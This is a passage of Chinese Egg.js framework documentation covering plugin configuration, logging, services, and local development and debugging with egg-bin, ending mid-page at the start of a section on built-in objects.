```

可以看到，插件中我们只需要提供要挂载的字段和服务的初始化方法，所有配置管理、实例获取方式由框架封装并统一提供。

#### 应用层使用方案

##### 单实例

1. 在配置文件中声明 MySQL 的配置。

   ```js
   // config/config.default.js
   module.exports = {
     mysql: {
       client: {
         host: 'mysql.com',
         port: '3306',
         user: 'test_user',
         password: 'test_password',
         database: 'test',
       },
     },
   };
   ```

2. 直接通过 `app.mysql` 访问数据库。

   ```js
   // app/controller/post.js
   class PostController extends Controller {
     async list() {
       const posts = await this.app.mysql.query(sql, values);
     }
   }
   ```

##### 多实例

1. 同样需要在配置文件中声明 MySQL 的配置，不过和单实例时不同，配置项中需要有一个 `clients` 字段，分别声明不同实例的配置。同时，可以通过 `default` 字段配置多个实例中共享的配置（如 host 和 port）。需要注意的是，在这种情况下要用 `get` 方法指定相应的实例。（例如：使用 `app.mysql.get('db1').query()`，而不是直接使用 `app.mysql.query()`，否则可能得到一个 `undefined` ）。

   ```js
   // config/config.default.js
   exports.mysql = {
     clients: {
       // clientId，可通过 app.mysql.get('clientId') 访问客户端实例
       db1: {
         user: 'user1',
         password: 'upassword1',
         database: 'db1',
       },
       db2: {
         user: 'user2',
         password: 'upassword2',
         database: 'db2',
       },
     },
     // 所有数据库的默认配置
     default: {
       host: 'mysql.com',
       port: '3306',
     },
   };
   ```

2. 通过 `app.mysql.get('db1')` 获取对应的实例并使用。

   ```js
   // app/controller/post.js
   class PostController extends Controller {
     async list() {
       const posts = await this.app.mysql.get('db1').query(sql, values);
     }
   }
   ```

##### 动态创建实例

我们可以不需要将配置提前声明在配置文件中，而是在应用运行时动态初始化一个实例。

```js
// app.js
module.exports = (app) => {
  app.beforeStart(async () => {
    // 从配置中心获取 MySQL 配置 { host, port, password, ... }
    const mysqlConfig = await app.configCenter.fetch('mysql');
    // 动态创建 MySQL 实例
    app.database = await app.mysql.createInstanceAsync(mysqlConfig);
  });
};
```

通过 `app.database` 使用这个实例。

```js
// app/controller/post.js
class PostController extends Controller {
  async list() {
    const posts = await this.app.database.query(sql, values);
  }
}
```

**注意，在动态创建实例时，框架还会读取配置中 `default` 字段的配置作为默认配置项。**

### 插件的寻址规则

框架加载插件时，遵循以下寻址规则：

* 如果配置了 `path`，直接按照 `path` 加载。
* 没有 `path` 时，根据包名（package name）查找，查找顺序依次是：
  1. 应用根目录下的 `node_modules`
  2. 应用依赖框架路径下的 `node_modules`
  3. 当前路径下的 `node_modules`（主要是兼容单元测试场景）

### 插件规范

我们非常欢迎你贡献新的插件，同时也希望你遵守下面一些规范：

* 命名规范
  * `npm` 包名应以 `egg-` 开头，且应为全小写，例如：`egg-xx`。比较长的词组应使用中划线：`egg-foo-bar`。
  * 对应的插件名应使用小驼峰式命名。小驼峰式的转换规则以 `npm` 包名中的中划线为准，例如 `egg-foo-bar` => `fooBar`。
  * 对于既可以加中划线也可以不加的情况，不做强制约定，例如：`userservice`（`egg-userservice`）或 `user-service`（`egg-user-service`）都可。

* `package.json` 书写规范
  * 按照上面的文档添加 `eggPlugin` 节点。
  * 在 `keywords` 里添加 `egg`、`egg-plugin`、`eggPlugin` 等关键字，便于索引。

```json
{
  "name": "egg-view-nunjucks",
  "version": "1.0.0",
  "description": "view plugin for egg",
  "eggPlugin": {
    "name": "nunjucks",
    "dep": ["security"]
  },
  "keywords": [
    "egg",
    "egg-plugin",
    "eggPlugin",
    "egg-plugin-view",
    "egg-view",
    "nunjucks"
  ]
}
```

## 为何不使用 npm 包名来做插件名？

Egg 通过 `eggPlugin.name` 来定义插件名，只需应用或框架具备唯一性，也就是说**多个 npm 包可能有相同的插件名**。为什么这么设计呢？

首先，Egg 插件不仅支持 npm 包，还支持通过目录来寻找插件。在[渐进式开发](../intro/progressive.md)章节提到了如何使用这两个配置进行代码演进。目录对单元测试也更为友好。所以，Egg 无法通过 npm 包名来确保唯一性。

更重要的是，Egg 通过这种特性来做适配器。例如，[模板开发规范](./view-plugin.md#插件命名规范)定义的插件名为 `view`，存在 `egg-view-nunjucks`、`egg-view-react` 等插件，使用者只需要更换插件和修改模板，无需修改 Controller，因为所有的模板插件都实现了相同的 API。

**将相同功能的插件赋予相同的插件名，以及提供相同的 API，可以快速进行切换**。这种做法在模板、数据库等领域非常适用。

[egg-boilerplate-plugin]: https://github.com/eggjs/egg-boilerplate-plugin

---

---
url: /zh-CN/tutorials.md
---
# 教程

* [快速入门](../intro/quickstart.md)
* [渐进式开发](../intro/progressive.md)
* [RESTful API](./restful.md)

## 骨架类型说明

你可以使用骨架类型，像下面这样：

```bash
npx create-egg@beta --template tegg
```

### 选项

| 骨架类型  |                  说明 |
| :-------: | --------------------: |
|  simple   | 简单 egg 应用程序骨架 |
|   empty   | 空的 egg 应用程序骨架 |
|  plugin   |          egg 插件骨架 |
| framework |          egg 框架骨架 |

## 模板引擎

框架内置 [egg-view] 作为模板解决方案，并支持多模板渲染。每个模板引擎都以插件的形式引入，但保持渲染的 API 一致。查看[如何使用模板](/zh-CN/core/view.md)；如果想更深入地了解，可以查看[模板插件开发](/zh-CN/advanced/view-plugin.md)。

可使用以下模板引擎，更多请[查看](https://github.com/search?utf8=%E2%9C%93\&q=topic%3Aegg-view\&type=Repositories\&ref=searchresults)：

* [egg-view-nunjucks]
* [egg-view-react]
* [egg-view-vue]
* [egg-view-ejs]
* [egg-view-handlebars]
* [egg-view-pug]
* [egg-view-xtpl]

## 数据库

官方维护的 ORM 模型是基于 [Leoric] 实现的 [egg-orm]。目前可用的数据库插件包括：

* [egg-orm]
* [egg-sequelize]
* [egg-mongoose]
* [egg-mysql]，可查看 [MySQL 教程](./mysql.md)
* [@eggjs/redis]，可查看 [Redis 教程](./redis.md)
* [egg-graphql]

[egg-sequelize]: https://github.com/eggjs/egg-sequelize

[egg-mongoose]: https://github.com/eggjs/egg-mongoose

[egg-mysql]: https://github.com/eggjs/egg-mysql

[egg-view]: https://github.com/eggjs/view

[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks

[egg-view-ejs]: https://github.com/eggjs/egg-view-ejs

[egg-view-handlebars]: https://github.com/eggjs/egg-view-handlebars

[egg-view-pug]: https://github.com/chrisyip/egg-view-pug

[egg-view-xtpl]: https://github.com/eggjs/egg-view-xtpl

[egg-view-react]: https://github.com/eggjs/egg-view-react

[egg-view-vue]: https://github.com/eggjs/egg-view-vue

[egg-graphql]: https://github.com/eggjs/egg-graphql

[egg-orm]: https://github.com/eggjs/egg-orm/blob/master/Readme.zh-CN.md

[Leoric]: https://leoric.js.org/zh

[@eggjs/redis]: https://github.com/eggjs/egg/tree/next/plugins/redis

---

---
url: /zh-CN/core/logger.md
---
# 日志

日志对于 Web 开发的重要性毋庸置疑，它对于监控应用的运行状态、问题排查等都有非常重要的意义。

框架内置了强大的企业级日志支持，由 [egg-logger](https://github.com/eggjs/egg-logger) 模块提供。

主要特性包括：

* 日志分级。
* 统一错误日志：所有 logger 中使用 `.error()` 打印的 `ERROR` 级别日志都会打印到统一的错误日志文件中，便于追踪。
* 启动日志和运行日志分离。
* 自定义日志。
* 多进程日志。
* 自动切割日志。
* 高性能。

## 日志路径

* 所有日志文件默认都放在 `${appInfo.root}/logs/${appInfo.name}` 路径下，例如 `/home/admin/logs/example-app`。
* 在本地开发环境（env: local）和单元测试环境（env: unittest）中，为避免冲突和集中管理，日志会打印在项目目录下的 logs 目录，例如 `/path/to/example-app/logs/example-app`。

如果想自定义日志路径：

```js
// config/config.${env}.js
exports.logger = {
  dir: '/path/to/your/custom/log/dir',
};
```

## 日志分类

框架内置了几种日志，分别在不同的场景下使用：

* appLogger `${appInfo.name}-web.log`，例如 `example-app-web.log`，应用相关日志，供应用开发者使用的日志。我们在绝大多数情况下都在使用它。
* coreLogger `egg-web.log`：框架内核、插件日志。
* errorLogger `common-error.log`：实际上一般不会直接使用它，任何 logger 的 `.error()` 调用输出的日志都会重定向到这里，重点通过查看此日志定位异常。
* agentLogger `egg-agent.log`：agent 进程日志，框架和使用到 agent 进程执行任务的插件会打印一些日志到这里。

如果想自定义以上日志文件名称，可以在 config 文件中覆盖默认值：

```js
// config/config.${env}.js
module.exports = (appInfo) => {
  return {
    logger: {
      appLogName: `${appInfo.name}-web.log`,
      coreLogName: 'egg-web.log',
      agentLogName: 'egg-agent.log',
      errorLogName: 'common-error.log',
    },
  };
};
```

## 如何打印日志

### Context Logger

如果我们在处理请求时需要打印日志，这时候使用 Context Logger 用于记录 Web 行为相关的日志。

每行日志会自动记录当前请求的一些基本信息，如 `[$userId/$ip/$traceId/${cost}ms $method $url]`。

```js
ctx.logger.debug('debug info');
ctx.logger.info('some request data: %j', ctx.request.body);
ctx.logger.warn('警告！');

// 错误日志记录，直接会将错误日志的完整堆栈信息记录下来，并且输出到 errorLog 中
// 为了保证异常可追踪，必须保证所有抛出的异常都是 Error 类型，因为只有 Error 类型才会带上堆栈信息，定位到问题。
ctx.logger.error(new Error('whoops'));
```

对于框架开发者和插件开发者，还可以使用 `ctx.coreLogger`。

例如：

```js
ctx.coreLogger.info('info');
```

### App Logger

如果我们想做一些应用级别的日志记录，如记录启动阶段的一些数据信息，可以通过 App Logger 来完成。

```js
// app.js
module.exports = (app) => {
  app.logger.debug('debug info');
  app.logger.info('启动耗时 %d ms', Date.now() - start);
  app.logger.warn('警告！');

  app.logger.error(someErrorObj);
};
```

对于框架和插件开发者，还可以使用 `app.coreLogger`。

```js
// app.js
module.exports = (app) => {
  app.coreLogger.info('启动耗时 %d ms', Date.now() - start);
};
```

### Agent Logger

在开发框架和插件时有时会需要在 Agent 进程运行代码，这时使用 `agent.coreLogger`。

```js
// agent.js
module.exports = (agent) => {
  agent.logger.debug('debug info');
  agent.logger.info('启动耗时 %d ms', Date.now() - start);
  agent.logger.warn('警告！');

  agent.logger.error(someErrorObj);
};
```

如需详细了解 Agent 进程，请参考[多进程模型](./cluster-and-ipc.md)。

## 日志文件编码

默认编码为 `utf-8`，可通过下面的方式进行覆盖：

```js
// config/config.${env}.js
exports.logger = {
  encoding: 'gbk',
};
```

## 日志文件格式

设置输出格式为 JSON，方便日志监控系统分析。

```js
// config/config.${env}.js
exports.logger = {
  outputJSON: true,
};
```

## 日志级别

日志分为 `NONE`、`DEBUG`、`INFO`、`WARN` 和 `ERROR` 5 个级别。

日志打印到文件中的同时，为了方便开发，也会同时打印到终端中。

### 文件日志级别

默认只会输出 `INFO` 及以上（即 `WARN` 和 `ERROR`）的日志到文件中。

可以通过下面的方式配置输出到文件中的日志级别：

* 打印所有级别的日志到文件中：

```js
// config/config.${env}.js
exports.logger = {
  level: 'DEBUG',
};
```

* 关闭所有输出到文件的日志：

```js
// config/config.${env}.js
exports.logger = {
  level: 'NONE',
};
```

#### 生产环境下打印 debug 日志

为了避免一些插件的调试日志在生产环境中打印导致性能问题，生产环境默认禁止打印 `DEBUG` 级别的日志。如果确实有需求在生产环境中打印 `DEBUG` 日志进行调试，需要打开 `allowDebugAtProd` 配置项。

```js
// config/config.prod.js
exports.logger = {
  level: 'DEBUG',
  allowDebugAtProd: true,
};
```

### 终端日志级别

默认只会输出 `INFO` 及以上（即 `WARN` 和 `ERROR`）的日志到终端中。这些日志默认只在 `local` 和 `unittest` 环境下打印到终端。

可以通过下面的方式配置输出到终端的日志级别：

* 打印所有级别的日志到终端：

```js
// config/config.${env}.js
exports.logger = {
  consoleLevel: 'DEBUG',
};
```

* 关闭所有输出到终端的日志：

```js
// config/config.${env}.js
exports.logger = {
  consoleLevel: 'NONE',
};
```

* 基于性能考虑，在正式环境下，默认会关闭终端日志输出。如有需要，可以通过下面的配置进行开启（**不推荐**）：

```js
// config/config.${env}.js
exports.logger = {
  disableConsoleAfterReady: false,
};
```

## 自定义日志

### 增加自定义日志

一般应用无需配置自定义日志，因为日志打太多或太分散都会导致关注度分散，反而难以管理和难以排查发现问题。

如果确实有这样的需求，可以参照下面的配置：

```js
// config/config.${env}.js
const path = require('path');

module.exports = (appInfo) => {
  return {
    customLogger: {
      xxLogger: {
        file: path.join(appInfo.root, 'logs/xx.log'),
      },
    },
  };
};
```

你可以通过 `app.getLogger('xxLogger')` 或 `ctx.getLogger('xxLogger')` 获取自定义日志对象。最终打印的日志格式和 coreLogger 类似。

### 自定义日志格式

```js
// config/config.${env}.js
const path = require('path');

module.exports = (appInfo) => {
  return {
    customLogger: {
      xxLogger: {
        file: path.join(appInfo.root, 'logs/xx.log'),
        formatter(meta) {
          return `[${meta.date}] ${meta.message}`;
        },
        contextFormatter(meta) {
          return `[${meta.date}] [${meta.ctx.method} ${meta.ctx.url}] ${meta.message}`;
        },
      },
    },
  };
};
```

### 高级自定义日志

日志默认是打印到日志文件中，同时在本地开发时也会打印到终端。但有时，我们需要将日志打印到其他媒介，比如需要将错误日志打印到 `common-error.log` 的同时，上报给第三方服务。

首先，我们定义一个日志的传输通道（transport），该通道代表第三方日志服务。

```js
const util = require('util');
const Transport = require('egg-logger').Transport;

class RemoteErrorTransport extends Transport {
  // 定义 log 方法。在此方法中，将日志上报给远端服务。
  log(level, args) {
    let log;
    if (args[0] instanceof Error) {
      const err = args[0];
      log = util.format(
        '%s: %s\n%s\npid: %s\n',
        err.name,
        err.message,
        err.stack,
        process.pid,
      );
    } else {
      log = util.format(...args);
    }

    this.options.app
      .curl('http://url/to/remote/error/log/service/logs', {
        data: log,
        method: 'POST',
      })
      .catch(console.error);
  }
}

// 在 app.js 中给 errorLogger 添加 transport，这样每条日志就会同时打印到这个 transport。
app
  .getLogger('errorLogger')
  .set('remote', new RemoteErrorTransport({ level: 'ERROR', app }));
```

上述代码示例中，虽然比较简单，但是在实际使用时需要考虑性能问题。通常采取先暂存至内存，再定时上传的策略，以此优化性能。

## 日志切割

企业级日志一个最常见的需求之一是对日志进行自动切割，以方便管理。框架对日志切割的支持由 [@eggjs/logrotator](https://github.com/eggjs/logrotator) 插件提供。

### 按天切割

这是框架的默认日志切割方式，在每日 `00:00` 按照 `.log.YYYY-MM-DD` 文件名进行切割。

以 appLog 为例，当前写入的日志为 `example-app-web.log`，当凌晨 `00:00` 时，会对日志进行切割，把过去一天的日志按 `example-app-web.log.YYYY-MM-DD` 的格式切割为单独的文件。

### 按文件大小切割

我们也可以选择按照文件大小进行切割。例如，当文件超过 2G 时进行切割。

举个例子，我们需要把 `egg-web.log` 按照大小进行切割：

```js
// config/config.${env}.js
const path = require('path');

module.exports = (appInfo) => {
  return {
    logrotator: {
      filesRotateBySize: [
        path.join(appInfo.root, 'logs', appInfo.name, 'egg-web.log'),
      ],
      maxFileSize: 2 * 1024 * 1024 * 1024,
    },
  };
};
```

添加到 `filesRotateBySize` 的日志文件将不再按天进行切割。

### 按小时切割

我们还可以选择按小时切割，这和默认的按天切割很相似，只是频率变成了每小时。

比如，我们希望把 `common-error.log` 按小时进行切割：

```js
// config/config.${env}.js
const path = require('path');

module.exports = (appInfo) => {
  return {
    logrotator: {
      filesRotateByHour: [
        path.join(appInfo.root, 'logs', appInfo.name, 'common-error.log'),
      ],
    },
  };
};
```

添加到 `filesRotateByHour` 的日志文件也将不再按天切割。

## 性能

通常，Web 访问是高频访问，每次输出日志直接写磁盘会导致频繁的磁盘 IO 操作。为了提升性能，我们采取的文件日志写入策略是：

> 日志同步写入内存，异步每隔一段时间（默认 1 秒）进行刷盘。

更多细节，请参考 [egg-logger](https://github.com/eggjs/egg-logger) 和 [@eggjs/logrotator](https://github.com/eggjs/egg/tree/next/plugins/logrotator)。

---

---
url: /zh-CN/basics/service.md
---
# 服务（Service）

简单来说，Service 就是在复杂业务场景下用于做业务逻辑封装的一个抽象层，它的提供具有以下几个优点：

* 保持 Controller 中的逻辑更简洁。
* 保持业务逻辑的独立性，抽象出的 Service 可以被多个 Controller 重复使用。
* 分离逻辑和展示，这样更便于编写测试用例。具体的测试用例编写方法，可以参见[这里](../core/unittest.md)。

## 使用场景

* 数据处理：当需要展示的信息须从数据库获取，并经规则计算后才能显示给用户，或计算后需更新数据库时。
* 第三方服务调用：例如获取 GitHub 信息等。

## 定义 Service

```js
// app/service/user.js
const Service = require('egg').Service;

class UserService extends Service {
  async find(uid) {
    const user = await this.ctx.db.query(
      'select * from user where uid = ?',
      uid,
    );
    return user;
  }
}

module.exports = UserService;
```

### 属性

每一次用户请求，框架都会实例化对应的 Service 实例。因为它继承自 `egg.Service`，所以我们拥有以下属性便于开发：

* `this.ctx`：当前请求的上下文 [Context](./extend.md#context) 对象实例。通过它，我们可以获取框架封装的处理当前请求的各种便捷属性和方法。
* `this.app`：当前应用 [Application](./extend.md#application) 对象实例。通过它，我们可以访问框架提供的全局对象和方法。
* `this.service`：应用定义的 [Service](./service.md)。通过它，我们可以访问到其他业务层，等同于 `this.ctx.service`。
* `this.config`：应用运行时的 [配置项](./config.md)。
* `this.logger`：logger 对象。它有四个方法（`debug`，`info`，`warn`，`error`），分别代表不同级别的日志。使用方法和效果与 [context logger](../core/logger.md#context-logger) 所述一致。但通过这个 logger 记录的日志，在日志前会加上文件路径，方便定位日志位置。

### Service ctx 详解

为了能获取用户请求的链路，在 Service 初始化时，注入了请求上下文。用户可以通过 `this.ctx` 直接获取上下文相关信息。关于上下文的更多详细解释，请参考 [Context](./extend.md#context)。有了 `ctx`，我们可以：

* 使用 `this.ctx.curl` 发起网络调用。
* 通过 `this.ctx.service.otherService` 调用其他 Service。
* 调用 `this.ctx.db` 发起数据库操作，`db` 可能是插件预挂载到 app 上的模块。

### 注意事项

* Service 文件必须放在 `app/service` 目录下，支持多级目录。可以通过目录名级联访问。

  ```js
  // app/service/biz/user.js 对应到 ctx.service.biz.user
  app/service/biz/user.js => ctx.service.biz.user
  // app/service/sync_user.js 对应到 ctx.service.syncUser
  app/service/sync_user.js => ctx.service.syncUser
  // app/service/HackerNews.js 对应到 ctx.service.hackerNews
  app/service/HackerNews.js => ctx.service.hackerNews
  ```

* 一个 Service 文件仅包含一个类，该类需通过 `module.exports` 导出。

* Service 应通过 Class 形式定义，且继承自 `egg.Service`。

* Service 不是单例，它是请求级别的对象。框架在每次请求中初次访问 `ctx.service.xx` 时才进行实例化。因此，Service 中可以通过 `this.ctx` 获取当前请求的上下文。

```js
// app/router.js
module.exports = (app) => {
  app.router.get('/user/:id', app.controller.user.info);
};

// app/controller/user.js
const Controller = require('egg').Controller;
class UserController extends Controller {
  async info() {
    const { ctx } = this;
    const userId = ctx.params.id;
    const userInfo = await ctx.service.user.find(userId);
    ctx.body = userInfo;
  }
}
module.exports = UserController;

// app/service/user.js
const Service = require('egg').Service;
class UserService extends Service {
  // 默认不需要提供构造函数。
  /* constructor(ctx) {
       super(ctx); // 如果需要在构造函数做一些处理，一定要有这句话，才能保证后面 `this.ctx` 的使用。
       // 就可以直接通过 this.ctx 获取 ctx 了
       // 还可以直接通过 this.app 获取 app 了
     } */
  async find(uid) {
    // 假如我们拿到用户 id，从数据库获取用户详细信息
    const user = await this.ctx.db.query(
      'select * from user where uid = ?',
      uid,
    );

    // 假定这里还有一些复杂的计算，然后返回需要的信息
    const picture = await this.getPicture(uid);

    return {
      name: user.user_name,
      age: user.age,
      picture,
    };
  }

  async getPicture(uid) {
    const result = await this.ctx.curl(`http://photoserver/uid=${uid}`, {
      dataType: 'json',
    });
    return result.data;
  }
}
module.exports = UserService;

// curl http://127.0.0.1:7001/user/1234
```

---

---
url: /zh-CN/core/development.md
---
# 本地开发

为了提升研发体验，我们提供了便捷的方式在本地进行开发、调试、单元测试等。

在这里我们需要使用到 [egg-bin] 模块（只在本地开发和单元测试使用，如果线上请参考 [应用部署](./deployment.md)）。

首先，我们需要把 `egg-bin` 模块作为 `devDependencies` 引入：

```bash
$ npm i egg-bin --save-dev
```

## 启动应用

本地启动应用进行开发活动，当我们修改代码并保存后，应用会自动重启实时生效。

### 添加命令

向 `package.json` 中添加 `npm scripts`：

```json
{
  "scripts": {
    "dev": "egg-bin dev"
  }
}
```

这样我们就可以通过 `npm run dev` 命令启动应用。

### 环境配置

本地启动的应用是以 `env: local` 启动的，读取的配置是 `config.default.js` 和 `config.local.js` 合并的结果。

> 注意：本地开发环境依赖 `@eggjs/development` 插件，该插件默认开启，而在其他环境下关闭。配置参考 [config/config.default.ts](https://github.com/eggjs/development/blob/master/src/config/config.default.ts)。

### 关于 `Reload` 功能

以下目录（包括子目录）在开发环境下默认会监听文件变化，一旦发生变化，将触发 Egg 服务器重载：

* `${app_root}/app`
* `${app_root}/config`
* `${app_root}/mocks`
* `${app_root}/mocks_proxy`
* `${app_root}/app.js`

> 若设置 `config.development.overrideDefault` 为 `true`，则会跳过默认合并。

以下目录（包括子目录）在开发环境下默认忽略文件改动：

* `${app_root}/app/view`
* `${app_root}/app/assets`
* `${app_root}/app/public`
* `${app_root}/app/web`

> 若设置 `config.development.overrideIgnore` 为 `true`，则会跳过默认合并。

### 指定端口

本地启动应用默认监听 7001 端口，你也可以指定其他端口，例如：

```json
{
  "scripts": {
    "dev": "egg-bin dev --port 7001"
  }
}
```

## 单元测试

这里主要讲解工具部分的使用，更多关于单元测试的内容请参考[这里](./unittest.md)。

### 添加命令

在 `package.json` 中添加 `npm scripts`：

```json
{
  "scripts": {
    "test": "egg-bin test"
  }
}
```

我们可以通过执行 `npm test` 命令来运行单元测试。

### 环境配置

测试用例执行时，应用以 `env: unittest` 启动，读取的配置是 `config.default.js` 和 `config.unittest.js` 合并的结果。

### 运行特定用例文件

执行 `npm test` 会自动运行 test 目录下的以 `.test.js` 结尾的文件（默认 glob 匹配规则 `test/**/*.test.js`）。

如果只想执行正在编写的用例，可以通过下列方式指定特定用例文件：

```bash
$ TESTS=test/x.test.js npm test
```

该方式支持 glob 规则。

### 指定 reporter

Mocha 支持多种形式的 reporter，默认是 `spec` reporter。

通过设置 `TEST_REPORTER` 环境变量来指定 reporter，例如 `dot`：

```bash
$ TEST_REPORTER=dot npm test
```

![image](https://cloud.githubusercontent.com/assets/156269/21849809/a6fe6df8-d842-11e6-8507-20da63bc8b62.png)

### 指定用例超时时间

用例默认超时时间是 30 秒。也可以手动设置超时时间（单位毫秒），例如设为 5 秒：

```bash
$ TEST_TIMEOUT=5000 npm test
```

### 通过 argv 方式传参

`egg-bin test` 不仅支持环境变量传参，还支持直接传参，包括所有 mocha 参数，详情见：[mocha usage](https://mochajs.org/#usage) 。

```bash
$ # npm 传参需额外加 `--`，详情见 https://docs.npmjs.com/cli/run-script
$ npm test -- --help
$
$ # 相当于 `TESTS=test/**/test.js npm test`，但加双引号更佳，避免 bash 限制
$ npm test "test/**/test.js"
$
$ # 相当于 `TEST_REPORTER=dot npm test`
$ npm test -- --reporter=dot
$
$ # 支持 mocha 参数，如 grep、require 等
$ npm test -- -t 30000 --grep="should GET"
```

## 代码覆盖率

egg-bin 已内置 [nyc](https://github.com/istanbuljs/nyc) 支持单元测试生成代码覆盖率报告。

在 `package.json` 中添加 `npm scripts`：

```json
{
  "scripts": {
    "cov": "egg-bin cov"
  }
}
```

我们可以通过 `npm run cov` 命令运行测试覆盖率。

```bash
$ egg-bin cov

  test/controller/home.test.js
    GET /
      ✓ should status 200 and get the body
    POST /post
      ✓ should status 200 and get the request body

  ...

  16 passing (1s)

=============================== Coverage summary ===============================
Statements   : 100% ( 41/41 )
Branches     : 87.5% ( 7/8 )
Functions    : 100% ( 10/10 )
Lines        : 100% ( 41/41 )
================================================================================
```

还可以通过 `open coverage/lcov-report/index.html` 命令来查看完整 HTML 覆盖率报告。

![image](https://cloud.githubusercontent.com/assets/156269/21845201/a9a85ab6-d82c-11e6-8c24-5e85f352be4a.png)

### 环境配置

与 `test` 命令类似，执行 `cov` 命令时，应用以 `env: unittest` 启动，并读取 `config.default.js` 和 `config.unittest.js` 合并的配置结果。

### 忽略指定文件

对于不需要计算覆盖率的文件，可通过 `COV_EXCLUDES` 环境变量来指定：

```bash
$ COV_EXCLUDES=app/plugins/c* npm run cov
$ # 或者使用传参方式
$ npm run cov -- --x=app/plugins/c*
```

## 调试

### 日志输出

### 使用 logger 模块

框架内置了 [日志](./logger.md) 功能，使用 `logger.debug()` 输出调试信息，**推荐在应用代码中使用它。**

```js
// controller
this.logger.debug('current user: %j', this.user);

// service
this.ctx.logger.debug('debug info from service');

// app/init.js
app.logger.debug('app init');
```

通过 `config.logger.level` 来配置打印到文件的日志级别，通过 `config.logger.consoleLevel` 配置打印到终端的日志级别。

### 使用 debug 模块

[debug](https://www.npmjs.com/package/debug) 模块是 Node.js 社区广泛使用的 debug 工具，很多模块都使用这个模块来打印调试信息，Egg 社区也广泛采用这一机制来打印 debug 信息，**推荐在框架和插件开发中使用它。**

我们可以通过 `DEBUG` 环境变量选择开启指定的调试代码，方便观测执行过程。

（调试模块和日志模块不要混淆；此外，日志模块还具备很多其他功能。这里所说的日志全部指调试信息。）

开启所有模块的日志：

```bash
$ DEBUG=* npm run dev
```

开启指定模块的日志：

```bash
$ DEBUG=egg* npm run dev
```

单元测试也可以使用 `DEBUG=* npm test` 来查看测试用例运行的详细日志。

### 使用 egg-bin 调试

#### 添加命令

在 `package.json` 中添加 `npm scripts`：

```json
{
  "scripts": {
    "debug": "egg-bin debug"
  }
}
```

现在，我们可以通过 `npm run debug` 命令来断点调试应用。

`egg-bin` 会智能选择调试协议。在 Node.js 8.x 之后的版本中，使用 [Inspector Protocol] 协议，低版本使用 [Legacy Protocol]。

也支持自定义调试参数：

```bash
$ egg-bin debug --inspect=9229
```

* `master` 调试端口为 9229 或 5858（旧协议）。
* `agent` 调试端口固定为 5800，可以通过传递 `process.env.EGG_AGENT_DEBUG_PORT` 来自定义。
* `worker` 调试端口为 `master` 调试端口递增。
* 开发阶段，worker 的代码修改后会热重启，导致调试端口自增。参见后文的 IDE 配置，可以实现自动重连。

#### 环境配置

执行 `debug` 命令时，应用也是以 `env: local` 启动的。读取的配置是 `config.default.js` 和 `config.local.js` 合并的结果。

#### 使用 [DevTools] 进行调试

最新的 DevTools 只支持 [Inspector Protocol] 协议，因此你需要使用 Node.js 8.x 及以上版本。

执行 `npm run debug` 启动：

```bash
➜  showcase git:(master) ✗ npm run debug

> showcase@1.0.0 debug /Users/tz/Workspaces/eggjs/test/showcase
> egg-bin debug

Debugger listening on ws://127.0.0.1:9229/f8258ca6-d5ac-467d-bbb1-03f59bcce85b
For help see https://nodejs.org/en/docs/inspector
2017-09-14 16:01:35,990 INFO 39940 [master] egg version 1.8.0
Debugger listening on ws://127.0.0.1:5800/bfe1bf6a-2be5-4568-ac7d-69935e0867fa
For help see https://nodejs.org/en/docs/inspector
2017-09-14 16:01:36,432 INFO 39940 [master] agent_worker#1:39941 started (434ms)
Debugger listening on ws://127.0.0.1:9230/2fcf4208-4571-4968-9da0-0863ab9f98ae
For help see https://nodejs.org/en/docs/inspector
9230 opened
Debug Proxy online, now you could attach to 9999 without worry about reload.
DevTools → chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9999/__ws_proxy__
```

接下来选择以下其中一种方式：

* 直接访问控制台最后输出的 `DevTools` 地址，该地址代理了 worker。不必担心重启问题。
* 访问 `chrome://inspect` 后，配置相应的端口。点击 `Open dedicated DevTools for Node` 打开调试控制台。

![DevTools](https://user-images.githubusercontent.com/227713/30419047-a54ac592-9967-11e7-8a05-5dbb82088487.png)

#### 使用 WebStorm 进行调试

`egg-bin` 会自动读取 WebStorm 调试模式下设置的环境变量 `$NODE_DEBUG_OPTION`。

直接使用 WebStorm 的 npm 调试功能启动：

![WebStorm](https://user-images.githubusercontent.com/227713/30423086-5dd32ac6-9974-11e7-840f-904e49a97694.png)

#### 使用 [VSCode] 进行调试

有以下两种方式：

方式一：开启 VSCode 的 `Debug: Toggle Auto Attach`。然后在 Terminal 中执行 `npm run debug`。

方式二：配置 VSCode 的 `.vscode/launch.json`，然后使用 F5 启动。注意，要关闭方式一中的配置。

```json
// .vscode/launch.json
{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Launch Egg",
      "type": "node",
      "request": "launch",
      "cwd": "${workspaceRoot}",
      "runtimeExecutable": "npm",
      "windows": { "runtimeExecutable": "npm.cmd" },
      "runtimeArgs": ["run", "debug"],
      "console": "integratedTerminal",
      "protocol": "auto",
      "restart": true,
      "port": 9229,
      "autoAttachChildProcesses": true
    }
  ]
}
```

我们还提供了 [vscode-eggjs] 扩展，可以自动生成配置。

![VSCode](https://user-images.githubusercontent.com/227713/35954428-7f8768ee-0cc4-11e8-90b2-67e623594fa1.png)

更多 VSCode 调试用法请参见文档：[Node.js Debugging in VS Code](https://code.visualstudio.com/docs/nodejs/nodejs-debugging)。

## 更多

想要了解更多有关本地开发的内容，例如如何为你的团队定制本地开发工具，请参阅 [egg-bin]。

[glob]: https://www.npmjs.com/package/glob

[egg-bin]: https://github.com/eggjs/egg-bin

[vscode]: https://code.visualstudio.com

[legacy protocol]: https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md

[inspector protocol]: https://chromedevtools.github.io/debugger-protocol-viewer/v8

[devtools]: https://developer.chrome.com/devtools

[webstorm]: https://www.jetbrains.com/webstorm/

[vscode-eggjs]: https://github.com/eggjs/vscode-eggjs

---

---
url: /zh-CN/core.md
---
# 核心功能

* [本地开发](./development.md)
* [单元测试](./unittest.md)
* [测试 Mock 工具（@eggjs/mock / mm）](./mock.md)
* [应用部署](./deployment.md)
* [日志](./logger.md)
* [HttpClient](./httpclient.md)
* [Cookie 与 Session](./cookie-and-session.md)
* [多进程模型和进程间通讯](./cluster-and-ipc.md)
* [View 模板渲染](./view.md)
* [异常处理](./error-handling.md)
* [安全](./security.md)
* [国际化（I18n）](./i18n.md)

---

---
url: /zh-CN/basics/objects.md
---
# 框架内置基础对象

